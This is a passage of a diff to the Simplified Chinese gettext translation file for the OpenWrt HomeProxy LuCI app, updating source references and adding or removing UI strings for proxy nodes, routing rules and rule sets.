+#: htdocs/luci-static/resources/view/homeproxy/client.js:1255 msgid "NS" msgstr "NS" -#: htdocs/luci-static/resources/view/homeproxy/node.js:891 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1141 msgid "Native" msgstr "原生" @@ -1795,170 +1725,129 @@ msgstr "原生" msgid "NaïveProxy" msgstr "NaïveProxy" -#: htdocs/luci-static/resources/view/homeproxy/client.js:849 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1310 +#: htdocs/luci-static/resources/view/homeproxy/client.js:660 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1122 #: htdocs/luci-static/resources/view/homeproxy/server.js:866 msgid "Network" msgstr "网络" -#: htdocs/luci-static/resources/view/homeproxy/node.js:881 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1131 msgid "New Reno" msgstr "New Reno" -#: htdocs/luci-static/resources/view/homeproxy/node.js:954 -#: htdocs/luci-static/resources/view/homeproxy/node.js:971 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1204 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1221 #: htdocs/luci-static/resources/view/homeproxy/server.js:400 #: htdocs/luci-static/resources/view/homeproxy/server.js:417 msgid "No TCP transport, plain HTTP is merged into the HTTP transport." msgstr "无 TCP 传输层, 纯 HTTP 已合并到 HTTP 传输层。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:969 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1219 #: htdocs/luci-static/resources/view/homeproxy/server.js:415 msgid "No additional encryption support: It's basically duplicate encryption." msgstr "无额外加密支持:它基本上是重复加密。" -#: htdocs/luci-static/resources/homeproxy/tcping.js:208 -msgid "No address" -msgstr "无地址" - -#: htdocs/luci-static/resources/homeproxy/node-filter.js:70 -msgid "No effective nodes." -msgstr "无生效节点。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:69 -msgid "No files." -msgstr "没有文件。" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:300 -msgid "" -"No latency column was found on this page. Force-refresh the page and try " -"again." -msgstr "当前页面没有找到延迟列,请强制刷新页面后重试。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1651 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1852 msgid "No subscription available" msgstr "无可用订阅" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1701 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1877 msgid "No subscription node" msgstr "无订阅节点" -#: htdocs/luci-static/resources/homeproxy/tcping.js:283 -msgid "No testable nodes." -msgstr "没有可测试的节点。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1504 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1704 msgid "No valid share link found." msgstr "找不到有效分享链接。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:459 -#: htdocs/luci-static/resources/view/homeproxy/node.js:491 +#: htdocs/luci-static/resources/view/homeproxy/client.js:442 +#: htdocs/luci-static/resources/view/homeproxy/node.js:719 msgid "Node" msgstr "节点" -#: htdocs/luci-static/resources/view/homeproxy/node.js:84 -msgid "" -"Node %s is still referenced by these settings. Remove the references before " -"deleting the node." -msgstr "节点 %s 仍被以下配置引用,请先删除引用后再删除节点。" - #: root/usr/share/luci/menu.d/luci-app-homeproxy.json:22 msgid "Node Settings" msgstr "节点设置" -#: htdocs/luci-static/resources/view/homeproxy/client.js:607 -msgid "Node exclude regex" -msgstr "节点排除正则" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:578 -msgid "Node regex" -msgstr "节点正则" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1441 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1650 msgid "Nodes" msgstr "节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1204 -#: htdocs/luci-static/resources/view/homeproxy/node.js:917 -#: htdocs/luci-static/resources/view/homeproxy/node.js:955 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1017 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1167 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1205 #: htdocs/luci-static/resources/view/homeproxy/server.js:386 #: htdocs/luci-static/resources/view/homeproxy/server.js:401 msgid "None" msgstr "无" -#: htdocs/luci-static/resources/homeproxy/tcping.js:217 -msgid "Not loaded" -msgstr "未加入" +#: htdocs/luci-static/resources/view/homeproxy/node.js:494 +#: htdocs/luci-static/resources/view/homeproxy/node.js:507 +msgid "Not Tested" +msgstr "未测试" -#: htdocs/luci-static/resources/view/homeproxy/node.js:689 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1003 #: htdocs/luci-static/resources/view/homeproxy/server.js:294 msgid "Obfuscate password" msgstr "混淆密码" -#: htdocs/luci-static/resources/view/homeproxy/node.js:683 +#: htdocs/luci-static/resources/view/homeproxy/node.js:997 #: htdocs/luci-static/resources/view/homeproxy/server.js:288 msgid "Obfuscate type" msgstr "混淆类型" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1620 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1431 msgid "Only process traffic from specific interfaces. Leave empty for all." msgstr "只处理来自指定接口的流量。留空表示全部。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:294 +#: htdocs/luci-static/resources/view/homeproxy/client.js:277 msgid "Only proxy mainland China" msgstr "仅代理中国大陆" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:77 -msgid "" -"Only the first %d effective nodes are shown. Narrow the regex to avoid " -"generating an oversized node group." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:792 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1271 +#: htdocs/luci-static/resources/view/homeproxy/client.js:603 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1083 msgid "Other fields" msgstr "其他字段" -#: htdocs/luci-static/resources/view/homeproxy/client.js:501 -#: htdocs/luci-static/resources/view/homeproxy/client.js:890 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1237 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1586 +#: htdocs/luci-static/resources/view/homeproxy/client.js:483 +#: htdocs/luci-static/resources/view/homeproxy/client.js:701 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1050 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1398 msgid "Outbound" msgstr "出站" -#: htdocs/luci-static/resources/view/homeproxy/client.js:460 +#: htdocs/luci-static/resources/view/homeproxy/client.js:443 msgid "Outbound node" msgstr "出站节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:906 +#: htdocs/luci-static/resources/view/homeproxy/client.js:719 msgid "Override address" msgstr "覆盖地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:392 +#: htdocs/luci-static/resources/view/homeproxy/client.js:375 msgid "Override destination" msgstr "覆盖目标地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:913 +#: htdocs/luci-static/resources/view/homeproxy/client.js:726 msgid "Override port" msgstr "覆盖端口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:393 +#: htdocs/luci-static/resources/view/homeproxy/client.js:376 msgid "Override the connection destination address with the sniffed domain." msgstr "使用嗅探到的域名覆盖连接目标。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:907 +#: htdocs/luci-static/resources/view/homeproxy/client.js:720 msgid "Override the connection destination address." msgstr "覆盖目标连接地址。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:914 +#: htdocs/luci-static/resources/view/homeproxy/client.js:727 msgid "Override the connection destination port." msgstr "覆盖目标连接端口。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1023 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1273 msgid "PUT" msgstr "PUT" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1066 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1316 msgid "Packet encoding" msgstr "数据包编码" @@ -1970,77 +1859,77 @@ msgstr "填充方案" msgid "Panic" msgstr "崩溃" -#: htdocs/luci-static/resources/view/homeproxy/node.js:580 +#: htdocs/luci-static/resources/view/homeproxy/node.js:894 #: htdocs/luci-static/resources/view/homeproxy/server.js:210 msgid "Password" msgstr "密码" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1177 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1557 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1016 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1049 +#: htdocs/luci-static/resources/view/homeproxy/client.js:990 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1369 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1266 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1299 #: htdocs/luci-static/resources/view/homeproxy/server.js:447 #: htdocs/luci-static/resources/view/homeproxy/server.js:477 msgid "Path" msgstr "路径" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1091 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1341 msgid "Peer pubkic key" msgstr "对端公钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:369 +#: htdocs/luci-static/resources/view/homeproxy/client.js:352 msgid "" "Performance may degrade slightly, so it is not recommended to enable on when " "it is not needed." msgstr "性能可能会略有下降,建议仅在需要时开启。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1116 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1366 msgid "Persistent keepalive interval" msgstr "持久 keepalive 间隔" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1035 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1285 #: htdocs/luci-static/resources/view/homeproxy/server.js:464 msgid "Ping timeout" msgstr "Ping 超时" -#: htdocs/luci-static/resources/view/homeproxy/node.js:746 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1060 msgid "Plugin" msgstr "插件" -#: htdocs/luci-static/resources/view/homeproxy/node.js:753 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1067 msgid "Plugin opts" msgstr "插件参数" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1058 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1172 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1497 -#: htdocs/luci-static/resources/view/homeproxy/node.js:548 +#: htdocs/luci-static/resources/view/homeproxy/client.js:871 +#: htdocs/luci-static/resources/view/homeproxy/client.js:985 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1309 +#: htdocs/luci-static/resources/view/homeproxy/node.js:883 msgid "Port" msgstr "端口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:316 +#: htdocs/luci-static/resources/view/homeproxy/client.js:299 msgid "Port %s alrealy exists!" msgstr "端口 %s 已存在!" -#: htdocs/luci-static/resources/view/homeproxy/client.js:794 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1273 +#: htdocs/luci-static/resources/view/homeproxy/client.js:605 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1085 msgid "Port fields" msgstr "端口字段" -#: htdocs/luci-static/resources/view/homeproxy/node.js:652 +#: htdocs/luci-static/resources/view/homeproxy/node.js:966 msgid "Port hopping interval in seconds." msgstr "端口跳跃间隔(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1063 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1502 +#: htdocs/luci-static/resources/view/homeproxy/client.js:876 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1314 msgid "Port range" msgstr "端口范围" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1098 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1348 msgid "Pre-shared key" msgstr "预共享密钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1361 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1173 msgid "Predefined" msgstr "预定义" @@ -2052,106 +1941,110 @@ msgstr "优先 IPv4" msgid "Prefer IPv6" msgstr "优先 IPv6" -#: htdocs/luci-static/resources/view/homeproxy/node.js:858 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1083 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1108 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1333 msgid "Private key" msgstr "私钥" -#: htdocs/luci-static/resources/view/homeproxy/node.js:863 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1113 msgid "Private key passphrase" msgstr "私钥指纹" -#: htdocs/luci-static/resources/view/homeproxy/client.js:795 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1274 +#: htdocs/luci-static/resources/view/homeproxy/node.js:484 +msgid "Probe failed" +msgstr "探测失败" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:606 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1086 msgid "Process fields" msgstr "进程字段" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1068 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1507 +#: htdocs/luci-static/resources/view/homeproxy/client.js:881 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1319 msgid "Process name" msgstr "进程名" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1072 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1511 +#: htdocs/luci-static/resources/view/homeproxy/client.js:885 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1323 msgid "Process path" msgstr "进程路径" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1076 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1515 +#: htdocs/luci-static/resources/view/homeproxy/client.js:889 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1327 msgid "Process path (regex)" msgstr "进程路径(正则表达式)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:827 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1315 -#: htdocs/luci-static/resources/view/homeproxy/node.js:659 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1131 +#: htdocs/luci-static/resources/view/homeproxy/client.js:638 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1127 +#: htdocs/luci-static/resources/view/homeproxy/node.js:973 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1381 #: htdocs/luci-static/resources/view/homeproxy/server.js:250 msgid "Protocol" msgstr "协议" -#: htdocs/luci-static/resources/view/homeproxy/node.js:947 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1197 msgid "Protocol parameter. Enable length block encryption." msgstr "协议参数。启用长度块加密。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:940 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1190 msgid "" "Protocol parameter. Will waste traffic randomly if enabled (enabled by " "default in v2ray and cannot be disabled)." msgstr "协议参数。 如启用会随机浪费流量(在 v2ray 中默认启用并且无法禁用)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1694 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1505 msgid "Proxy Domain List" msgstr "代理域名列表" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1649 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1678 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1460 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1489 msgid "Proxy IPv4 IP-s" msgstr "代理 IPv4 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1652 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1681 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1463 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1492 msgid "Proxy IPv6 IP-s" msgstr "代理 IPv6 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1655 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1466 msgid "Proxy MAC-s" msgstr "代理 MAC 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1636 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1447 msgid "Proxy all except listed" msgstr "仅允许列表外" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1633 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1444 msgid "Proxy filter mode" msgstr "代理过滤模式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1635 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1446 msgid "Proxy listed only" msgstr "仅允许列表内" -#: htdocs/luci-static/resources/view/homeproxy/client.js:324 +#: htdocs/luci-static/resources/view/homeproxy/client.js:307 msgid "Proxy mode" msgstr "代理模式" -#: htdocs/luci-static/resources/view/homeproxy/node.js:613 +#: htdocs/luci-static/resources/view/homeproxy/node.js:927 msgid "Proxy protocol" msgstr "代理协议" -#: htdocs/luci-static/resources/view/homeproxy/client.js:833 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1163 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1320 -#: htdocs/luci-static/resources/view/homeproxy/node.js:892 -#: htdocs/luci-static/resources/view/homeproxy/node.js:959 +#: htdocs/luci-static/resources/view/homeproxy/client.js:644 +#: htdocs/luci-static/resources/view/homeproxy/client.js:976 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1132 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1142 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1209 #: htdocs/luci-static/resources/view/homeproxy/server.js:405 msgid "QUIC" msgstr "QUIC" -#: htdocs/luci-static/resources/view/homeproxy/node.js:879 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1129 #: htdocs/luci-static/resources/view/homeproxy/server.js:355 msgid "QUIC congestion control algorithm." msgstr "QUIC 拥塞控制算法。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:715 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1029 #: htdocs/luci-static/resources/view/homeproxy/server.js:307 msgid "QUIC connection receive window" msgstr "QUIC 连接窗口" @@ -2160,29 +2053,33 @@ msgstr "QUIC 连接窗口" msgid "QUIC maximum concurrent bidirectional streams" msgstr "QUIC 最大双向并发流" -#: htdocs/luci-static/resources/view/homeproxy/node.js:709 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1023 #: htdocs/luci-static/resources/view/homeproxy/server.js:300 msgid "QUIC stream receive window" msgstr "QUIC 流接收窗口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1306 +#: htdocs/luci-static/resources/view/homeproxy/client.js:209 +msgid "Quad9 Public DNS (DoH)" +msgstr "Quad9 公共DNS (DoH)" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1118 msgid "Query type" msgstr "请求类型" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1426 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1238 msgid "RCode" msgstr "RCode" -#: htdocs/luci-static/resources/view/homeproxy/client.js:834 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1321 +#: htdocs/luci-static/resources/view/homeproxy/client.js:645 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1133 msgid "RDP" msgstr "RDP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1127 +#: htdocs/luci-static/resources/view/homeproxy/client.js:940 msgid "RDRC timeout" msgstr "RDRC 超时" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1322 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1572 #: htdocs/luci-static/resources/view/homeproxy/server.js:709 msgid "REALITY" msgstr "REALITY" @@ -2191,43 +2088,50 @@ msgstr "REALITY" msgid "REALITY private key" msgstr "REALITY 私钥" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1327 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1577 #: htdocs/luci-static/resources/view/homeproxy/server.js:730 msgid "REALITY public key" msgstr "REALITY 公钥" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1333 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1583 #: htdocs/luci-static/resources/view/homeproxy/server.js:734 msgid "REALITY short ID" msgstr "REALITY 标识符" -#: htdocs/luci-static/resources/view/homeproxy/client.js:60 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1785 +msgid "RP" +msgstr "RP" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:486 +msgid "RPC failed" +msgstr "RPC 失败" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:63 #: htdocs/luci-static/resources/view/homeproxy/server.js:58 msgid "RUNNING" msgstr "运行中" -#: htdocs/luci-static/resources/view/homeproxy/node.js:845 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1095 msgid "Random version will be used if empty." msgstr "如留空,则使用随机版本。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:531 -#: htdocs/luci-static/resources/view/homeproxy/client.js:572 +#: htdocs/luci-static/resources/view/homeproxy/client.js:511 msgid "Recursive outbound detected!" msgstr "检测到递归出站!" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1223 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1036 msgid "Recursive resolver detected!" msgstr "检测到递归解析器!" -#: htdocs/luci-static/resources/view/homeproxy/client.js:325 +#: htdocs/luci-static/resources/view/homeproxy/client.js:308 msgid "Redirect TCP" msgstr "Redirect TCP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:327 +#: htdocs/luci-static/resources/view/homeproxy/client.js:310 msgid "Redirect TCP + TProxy UDP" msgstr "Redirect TCP + TProxy UDP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:329 +#: htdocs/luci-static/resources/view/homeproxy/client.js:312 msgid "Redirect TCP + Tun UDP" msgstr "Redirect TCP + Tun UDP" @@ -2235,50 +2139,44 @@ msgstr "Redirect TCP + Tun UDP" msgid "Refresh every %s seconds." msgstr "每 %s 秒刷新。" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:80 -msgid "" -"Regex matching stopped after scanning %d nodes. Narrow the regex or reduce " -"subscription size." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:659 msgid "Region ID" msgstr "区域 ID" -#: htdocs/luci-static/resources/view/homeproxy/client.js:884 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1360 +#: htdocs/luci-static/resources/view/homeproxy/client.js:695 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1172 msgid "Reject" msgstr "拒绝" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1547 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1359 msgid "Remote" msgstr "远程" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1698 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1874 msgid "Remove %s nodes" msgstr "移除 %s 个节点" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1688 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1864 msgid "Remove all nodes from subscriptions" msgstr "移除所有订阅节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1414 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1226 msgid "Reply with REFUSED" msgstr "回复 REFUSED" -#: htdocs/luci-static/resources/view/homeproxy/client.js:979 +#: htdocs/luci-static/resources/view/homeproxy/client.js:792 msgid "Reply with TCP RST / ICMP port unreachable" msgstr "回复 TCP RST / ICMP 端口不可达" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1105 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1355 msgid "Reserved field bytes" msgstr "保留字段字节" -#: htdocs/luci-static/resources/view/homeproxy/client.js:885 +#: htdocs/luci-static/resources/view/homeproxy/client.js:696 msgid "Resolve" msgstr "解析" -#: htdocs/luci-static/resources/view/homeproxy/client.js:990 +#: htdocs/luci-static/resources/view/homeproxy/client.js:803 msgid "Resolve strategy" msgstr "解析策略" @@ -2286,30 +2184,6 @@ msgstr "解析策略" msgid "Resources management" msgstr "资源管理" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:201 -msgid "Restore" -msgstr "恢复" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:128 -msgid "Restore HomeProxy backup?" -msgstr "确认恢复 HomeProxy 备份?" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:205 -msgid "Restore backup" -msgstr "恢复备份" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:162 -msgid "Restore complete" -msgstr "恢复完成" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:160 -msgid "Restore failed." -msgstr "恢复失败。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:154 -msgid "Restoring HomeProxy backup..." -msgstr "正在恢复 HomeProxy 备份..." - #: htdocs/luci-static/resources/view/homeproxy/server.js:880 msgid "Reuse address" msgstr "复用地址" @@ -2318,99 +2192,137 @@ msgstr "复用地址" msgid "Reuse listener address." msgstr "复用监听地址。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1002 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1398 +#: htdocs/luci-static/resources/view/homeproxy/client.js:815 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1210 msgid "Rewrite TTL" msgstr "重写 TTL" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1003 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1399 +#: htdocs/luci-static/resources/view/homeproxy/client.js:816 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1211 msgid "Rewrite TTL in DNS responses." msgstr "在 DNS 响应中重写 TTL。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:882 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1358 +#: htdocs/luci-static/resources/view/homeproxy/client.js:693 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1170 msgid "Route" msgstr "路由" -#: htdocs/luci-static/resources/view/homeproxy/client.js:883 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1359 +#: htdocs/luci-static/resources/view/homeproxy/client.js:694 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1171 msgid "Route options" msgstr "路由选项" -#: htdocs/luci-static/resources/view/homeproxy/client.js:436 +#: htdocs/luci-static/resources/view/homeproxy/client.js:419 msgid "Routing Nodes" -msgstr "路由节点" +msgstr "策略组" -#: htdocs/luci-static/resources/view/homeproxy/client.js:779 +#: htdocs/luci-static/resources/view/homeproxy/client.js:590 msgid "Routing Rules" msgstr "路由规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:160 +#: htdocs/luci-static/resources/view/homeproxy/client.js:145 msgid "Routing Settings" msgstr "路由设置" -#: htdocs/luci-static/resources/view/homeproxy/client.js:291 +#: htdocs/luci-static/resources/view/homeproxy/client.js:274 msgid "Routing mode" msgstr "路由模式" -#: htdocs/luci-static/resources/homeproxy/routing-node.js:13 -#: htdocs/luci-static/resources/view/homeproxy/client.js:445 +#: htdocs/luci-static/resources/view/homeproxy/client.js:428 msgid "Routing node" -msgstr "路由节点" +msgstr "策略组" -#: htdocs/luci-static/resources/view/homeproxy/client.js:304 +#: htdocs/luci-static/resources/view/homeproxy/client.js:287 msgid "Routing ports" msgstr "路由端口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:788 +#: htdocs/luci-static/resources/view/homeproxy/client.js:599 msgid "Routing rule" msgstr "路由规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1522 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1334 msgid "Rule Set" msgstr "规则集" -#: htdocs/luci-static/resources/view/homeproxy/client.js:858 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1330 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1531 +#: htdocs/luci-static/resources/view/homeproxy/client.js:669 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1142 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1343 msgid "Rule set" msgstr "规则集" -#: htdocs/luci-static/resources/view/homeproxy/client.js:873 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1345 +#: htdocs/luci-static/resources/view/homeproxy/client.js:684 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1157 msgid "Rule set IP CIDR as source IP" msgstr "规则集 IP CIDR 作为源 IP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1564 +msgid "Tag" +msgstr "标签" + +msgid "Used by sing-box rule sets. Please fill it in yourself." +msgstr "用于 sing-box 规则集,请自行填写。" + +msgid "valid tag" +msgstr "有效标签" + +msgid "valid duration" +msgstr "有效时间格式" + +msgid "valid cron expression" +msgstr "有效 cron 表达式" + +msgid "Manual select" +msgstr "手动选择" + +msgid "Custom nodes" +msgstr "自选节点" + +msgid "Custom" +msgstr "自定义" + +msgid "Custom URL" +msgstr "自定义URL" + +msgid "Policy nodes" +msgstr "策略节点" + +msgid "List of policy groups." +msgstr "策略组列表。" + +msgid "Subscription nodes" +msgstr "订阅节点" + +msgid "List of nodes from subscriptions." +msgstr "订阅节点列表。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1376 msgid "Rule set URL" msgstr "规则集 URL" -#: htdocs/luci-static/resources/view/homeproxy/client.js:835 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1322 -#: htdocs/luci-static/resources/view/homeproxy/node.js:533 +#: htdocs/luci-static/resources/view/homeproxy/client.js:646 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1134 +#: htdocs/luci-static/resources/view/homeproxy/node.js:868 msgid "SSH" msgstr "SSH" -#: htdocs/luci-static/resources/view/homeproxy/client.js:836 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1323 +#: htdocs/luci-static/resources/view/homeproxy/client.js:647 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1135 msgid "STUN" msgstr "STUN" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1607 msgid "SUoT version" msgstr "SUoT 版本" -#: htdocs/luci-static/resources/view/homeproxy/client.js:844 +#: htdocs/luci-static/resources/view/homeproxy/client.js:655 msgid "Safari / Apple Network API" msgstr "Safari / Apple Network API" -#: htdocs/luci-static/resources/view/homeproxy/node.js:685 +#: htdocs/luci-static/resources/view/homeproxy/node.js:999 #: htdocs/luci-static/resources/view/homeproxy/server.js:290 msgid "Salamander" msgstr "Salamander" -#: 